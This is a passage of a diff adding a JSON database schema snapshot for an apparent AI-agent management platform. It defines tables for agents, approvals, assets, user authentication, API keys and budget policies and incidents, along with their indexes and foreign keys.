+          "notNull": true,
+          "default": 0
+        },
+        "spent_monthly_cents": {
+          "name": "spent_monthly_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "pause_reason": {
+          "name": "pause_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "paused_at": {
+          "name": "paused_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_reason": {
+          "name": "error_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "permissions": {
+          "name": "permissions",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "last_heartbeat_at": {
+          "name": "last_heartbeat_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agents_company_status_idx": {
+          "name": "agents_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agents_company_reports_to_idx": {
+          "name": "agents_company_reports_to_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "reports_to",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agents_company_default_environment_idx": {
+          "name": "agents_company_default_environment_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "default_environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agents_company_id_companies_id_fk": {
+          "name": "agents_company_id_companies_id_fk",
+          "tableFrom": "agents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agents_reports_to_agents_id_fk": {
+          "name": "agents_reports_to_agents_id_fk",
+          "tableFrom": "agents",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "reports_to"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agents_default_environment_id_environments_id_fk": {
+          "name": "agents_default_environment_id_environments_id_fk",
+          "tableFrom": "agents",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "default_environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.approval_comments": {
+      "name": "approval_comments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "approval_id": {
+          "name": "approval_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "approval_comments_company_idx": {
+          "name": "approval_comments_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "approval_comments_approval_idx": {
+          "name": "approval_comments_approval_idx",
+          "columns": [
+            {
+              "expression": "approval_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "approval_comments_approval_created_idx": {
+          "name": "approval_comments_approval_created_idx",
+          "columns": [
+            {
+              "expression": "approval_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "approval_comments_company_id_companies_id_fk": {
+          "name": "approval_comments_company_id_companies_id_fk",
+          "tableFrom": "approval_comments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "approval_comments_approval_id_approvals_id_fk": {
+          "name": "approval_comments_approval_id_approvals_id_fk",
+          "tableFrom": "approval_comments",
+          "tableTo": "approvals",
+          "columnsFrom": [
+            "approval_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "approval_comments_author_agent_id_agents_id_fk": {
+          "name": "approval_comments_author_agent_id_agents_id_fk",
+          "tableFrom": "approval_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.approvals": {
+      "name": "approvals",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "requested_by_agent_id": {
+          "name": "requested_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_by_user_id": {
+          "name": "requested_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "decision_note": {
+          "name": "decision_note",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_by_user_id": {
+          "name": "decided_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_at": {
+          "name": "decided_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "approvals_company_status_type_idx": {
+          "name": "approvals_company_status_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "approvals_company_id_companies_id_fk": {
+          "name": "approvals_company_id_companies_id_fk",
+          "tableFrom": "approvals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "approvals_requested_by_agent_id_agents_id_fk": {
+          "name": "approvals_requested_by_agent_id_agents_id_fk",
+          "tableFrom": "approvals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "requested_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.assets": {
+      "name": "assets",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "object_key": {
+          "name": "object_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "content_type": {
+          "name": "content_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "byte_size": {
+          "name": "byte_size",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "sha256": {
+          "name": "sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "original_filename": {
+          "name": "original_filename",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "assets_company_created_idx": {
+          "name": "assets_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "assets_company_provider_idx": {
+          "name": "assets_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "assets_company_object_key_uq": {
+          "name": "assets_company_object_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "assets_company_id_companies_id_fk": {
+          "name": "assets_company_id_companies_id_fk",
+          "tableFrom": "assets",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "assets_created_by_agent_id_agents_id_fk": {
+          "name": "assets_created_by_agent_id_agents_id_fk",
+          "tableFrom": "assets",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.account": {
+      "name": "account",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "account_id": {
+          "name": "account_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_id": {
+          "name": "provider_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "access_token": {
+          "name": "access_token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_token": {
+          "name": "refresh_token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "id_token": {
+          "name": "id_token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "access_token_expires_at": {
+          "name": "access_token_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_token_expires_at": {
+          "name": "refresh_token_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "scope": {
+          "name": "scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "password": {
+          "name": "password",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {
+        "account_user_id_user_id_fk": {
+          "name": "account_user_id_user_id_fk",
+          "tableFrom": "account",
+          "tableTo": "user",
+          "columnsFrom": [
+            "user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.session": {
+      "name": "session",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "token": {
+          "name": "token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "ip_address": {
+          "name": "ip_address",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_agent": {
+          "name": "user_agent",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {
+        "session_user_id_user_id_fk": {
+          "name": "session_user_id_user_id_fk",
+          "tableFrom": "session",
+          "tableTo": "user",
+          "columnsFrom": [
+            "user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.user": {
+      "name": "user",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "email": {
+          "name": "email",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "email_verified": {
+          "name": "email_verified",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "image": {
+          "name": "image",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.verification": {
+      "name": "verification",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "identifier": {
+          "name": "identifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "value": {
+          "name": "value",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.board_api_keys": {
+      "name": "board_api_keys",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key_hash": {
+          "name": "key_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "board_api_keys_key_hash_idx": {
+          "name": "board_api_keys_key_hash_idx",
+          "columns": [
+            {
+              "expression": "key_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "board_api_keys_user_idx": {
+          "name": "board_api_keys_user_idx",
+          "columns": [
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "board_api_keys_user_id_user_id_fk": {
+          "name": "board_api_keys_user_id_user_id_fk",
+          "tableFrom": "board_api_keys",
+          "tableTo": "user",
+          "columnsFrom": [
+            "user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.budget_incidents": {
+      "name": "budget_incidents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "policy_id": {
+          "name": "policy_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_type": {
+          "name": "scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "metric": {
+          "name": "metric",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_kind": {
+          "name": "window_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_start": {
+          "name": "window_start",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_end": {
+          "name": "window_end",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "threshold_type": {
+          "name": "threshold_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "amount_limit": {
+          "name": "amount_limit",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "amount_observed": {
+          "name": "amount_observed",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'open'"
+        },
+        "approval_id": {
+          "name": "approval_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "budget_incidents_company_status_idx": {
+          "name": "budget_incidents_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "budget_incidents_company_scope_idx": {
+          "name": "budget_incidents_company_scope_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "budget_incidents_policy_window_threshold_idx": {
+          "name": "budget_incidents_policy_window_threshold_idx",
+          "columns": [
+            {
+              "expression": "policy_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_start",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "threshold_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"budget_incidents\".\"status\" <> 'dismissed'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "budget_incidents_company_id_companies_id_fk": {
+          "name": "budget_incidents_company_id_companies_id_fk",
+          "tableFrom": "budget_incidents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "budget_incidents_policy_id_budget_policies_id_fk": {
+          "name": "budget_incidents_policy_id_budget_policies_id_fk",
+          "tableFrom": "budget_incidents",
+          "tableTo": "budget_policies",
+          "columnsFrom": [
+            "policy_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "budget_incidents_approval_id_approvals_id_fk": {
+          "name": "budget_incidents_approval_id_approvals_id_fk",
+          "tableFrom": "budget_incidents",
+          "tableTo": "approvals",
+          "columnsFrom": [
+            "approval_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.budget_policies": {
+      "name": "budget_policies",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_type": {
+          "name": "scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "metric": {
+          "name": "metric",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'billed_cents'"
+        },
+        "window_kind": {
+          "name": "window_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "amount": {
+          "name": "amount",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "warn_percent": {
+          "name": "warn_percent",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 80
+        },
+        "hard_stop_enabled": {
+          "name": "hard_stop_enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "notify_enabled": {
+          "name": "notify_enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "is_active": {
+          "name": "is_active",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "budget_policies_company_scope_active_idx": {
+          "name": "budget_policies_company_scope_active_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "is_active",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "budget_policies_company_window_idx": {
+          "name": "budget_policies_company_window_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "metric",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "budget_policies_company_scope_metric_unique_idx": {
+          "name": "budget_policies_company_scope_metric_unique_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "metric",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "budget_policies_company_id_companies_id_fk": {
+          "name": "budget_policies_company_id_companies_id_fk",
+          "tableFrom": "budget_policies",
+          "tableTo": "companies",
